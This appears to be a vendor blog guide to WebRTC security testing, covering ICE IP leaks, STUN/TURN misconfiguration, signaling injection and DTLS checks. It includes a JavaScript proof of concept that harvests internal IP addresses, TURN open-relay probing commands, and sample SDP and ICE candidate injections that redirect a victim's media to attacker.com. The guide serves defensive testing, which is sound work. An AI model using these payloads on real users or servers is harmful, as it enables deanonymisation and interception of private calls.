WebRTC Security Testing: IP Leaks, ICE Manipulation, and Signaling Vulnerabilities

WebRTC enables real-time audio, video, and data communication directly between browsers — without a media relay server in the middle. It powers video conferencing (Google Meet, Jitsi, appear.in), browser-based games, peer-to-peer file transfer, and a growing number of enterprise collaboration tools. The attack surface is fundamentally different from HTTP-based APIs, and security testing requires understanding the protocol stack: ICE, STUN, TURN, DTLS, SRTP, and whatever signaling mechanism the application uses.

This guide covers the key vulnerability classes in WebRTC applications and how to test them systematically.

WebRTC Architecture: What Gets Tested

A WebRTC session involves multiple components, each with distinct security properties:

Component Protocol Security Risk
Signaling Application-defined (WebSocket, HTTP, SIP) Injection, replay, session hijacking
ICE candidate gathering ICE (RFC 8445) IP address leakage, candidate manipulation
STUN server STUN (RFC 5389) NAT traversal misuse, IP disclosure
TURN server TURN (RFC 5766) Open relay abuse, credential exposure
Media transport SRTP over DTLS Weak DTLS config, key extraction
Data channel SCTP over DTLS SCTP injection, data channel auth bypass

IP Address Leakage via ICE Candidates

ICE (Interactive Connectivity Establishment) works by gathering "candidates" — network addresses and ports — that the browser could use for peer-to-peer communication. This gathering happens via local network interfaces, STUN servers, and TURN servers. The problem: browsers will expose private IP addresses (RFC 1918 addresses like 192.168.x.x) as ICE candidates even if the user is behind NAT or a VPN.

This is the classic WebRTC IP leak that de-anonymizes VPN users. For security testing, it's also significant in different ways:

WebRTC Internal IP Disclosure Any web page can invoke WebRTC APIs (RTCPeerConnection) to gather ICE candidates without user permission — no camera or microphone access required. The gathered candidates include the user's internal network IP addresses.
// Minimal ICE leak PoC
const pc = new RTCPeerConnection({
    iceServers: [{urls: 'stun:stun.l.google.com:19302'}]
});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = (e) => {
    if (!e.candidate) return;
    const ip = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(
        e.candidate.candidate
    );
    if (ip) console.log('Internal IP:', ip[1]);
};

Browser vendors have partially mitigated this with mDNS obfuscation (Chrome 75+, Firefox 71+) — replacing internal IP addresses with .local hostnames. However, this mitigation is not universal and can be disabled. Test whether the application:

STUN Server Security

STUN (Session Traversal Utilities for NAT) servers respond to binding requests with the client's external IP:port as seen from the server. Configuration issues:

Unrestricted STUN Server Use

Applications that specify attacker-controlled STUN servers in their ICE configuration expose users to IP address harvesting by the STUN server operator. Check whether the application's ICE configuration accepts user-supplied STUN/TURN server URLs:

// Vulnerable: STUN URL from user input
const iceConfig = {
    iceServers: [{urls: userInput.stunServer}]
};
const pc = new RTCPeerConnection(iceConfig);

STUN Amplification

STUN servers with open access can be abused for UDP amplification attacks. Test whether the STUN server requires authentication and rate-limits unauthenticated binding requests.

# Test STUN server with turnutils_stunclient (from rfc5766-turn-server)
turnutils_stunclient -p 3478 target.com

# Or with nmap
nmap -sU -p 3478 --script stun-info target.com

TURN Server Security Testing

TURN (Traversal Using Relays around NAT) servers relay media when direct peer-to-peer connection fails. A misconfigured TURN server is an open relay that attackers can abuse to proxy arbitrary TCP/UDP traffic to internal network hosts.

Open TURN Relay Abuse

If a TURN server accepts connections without valid credentials or with weak credential validation, an attacker can use it to:

# Test TURN server for open relay with turnutils_uclient
# First try without credentials
turnutils_uclient -p 3478 -e target.com -X -y turn-server.com

# Test with known-weak credentials
turnutils_uclient -u test -w test -p 3478 turn-server.com

# If relay succeeds to an internal address, it's an open/weak relay
turnutils_uclient -u user -w pass -e 192.168.1.1 -p 3478 turn-server.com

TURN Credential Extraction

Applications must provide TURN credentials to clients for the browser to authenticate. These are often delivered via the application's REST API. Test for:

Signaling Layer Vulnerabilities

WebRTC does not specify a signaling protocol — applications implement their own (typically WebSocket-based JSON messaging, SIP, or XMPP). The signaling layer carries SDP (Session Description Protocol) offers and answers, and ICE candidates. It's where most application-layer WebRTC vulnerabilities live.

SDP Injection

SDP is a text-based format. If an application reflects user-controlled values into SDP without validation, an attacker can modify session parameters:

v=0
o=user 2890844526 2890842807 IN IP4 attacker.com
s=SDP Injection Test
c=IN IP4 attacker.com  <-- redirect media to attacker IP
t=0 0
m=audio 49170 RTP/SAVPF 0
a=rtpmap:0 PCMU/8000

Test SDP injection by intercepting the signaling WebSocket, modifying the SDP offer/answer, and observing whether the application accepts the modified session parameters.

Session Hijacking via Signaling

If the signaling channel does not properly authenticate session ownership, an attacker may be able to:

ICE Candidate Injection

If the signaling server relays ICE candidates without validating that they belong to the expected peer:

// Injected ICE candidate pointing to attacker TURN server
{
    "type": "ice-candidate",
    "sessionId": "victim-session-id",
    "candidate": {
        "candidate": "candidate:1 1 UDP 1685855999 attacker.com 3478 typ relay raddr 0.0.0.0 rport 0",
        "sdpMLineIndex": 0
    }
}

If accepted, the victim's media may route through the attacker's TURN relay.

DTLS Security Configuration

WebRTC mandates DTLS 1.2 or higher for key exchange (DTLS-SRTP). Test DTLS configuration:

# Capture WebRTC traffic (requires key logging)
# Set SSLKEYLOGFILE environment variable before starting browser
export SSLKEYLOGFILE=/tmp/webrtc-keys.log
chromium --enable-logging

# In Wireshark: Edit > Preferences > Protocols > TLS > (Pre)-Master-Secret log filename
# Then analyze DTLS handshake parameters

# Check for weak cipher suites in DTLS handshake
# Look for: NULL ciphers, export-grade, RC4, DES, MD5

Key DTLS checks:

Browser Permissions and Permission Escalation

WebRTC requires explicit browser permission for camera and microphone access. Test for:

Data Channel Security

WebRTC data channels use SCTP over DTLS. They can transfer arbitrary binary data between peers. Security considerations:

WebRTC Security Testing Checklist

Tools for WebRTC Security Testing

Tool Purpose
turnutils_uclient Test TURN relay and authentication
turnutils_stunclient Test STUN server binding
Wireshark + SSLKEYLOGFILE Decrypt and analyze DTLS traffic
Burp Suite WebSocket history Intercept and modify signaling messages
WebRTC Leak Test (browser) Verify IP leakage from browser perspective
nmap --script stun-info Enumerate STUN server capabilities
Chrome chrome://webrtc-internals Inspect live WebRTC sessions, ICE state, DTLS params

Ironimo scans your web applications using Kali Linux tools — including WebRTC endpoint analysis — to surface vulnerabilities before attackers do.

Start free scan
← Back to Blog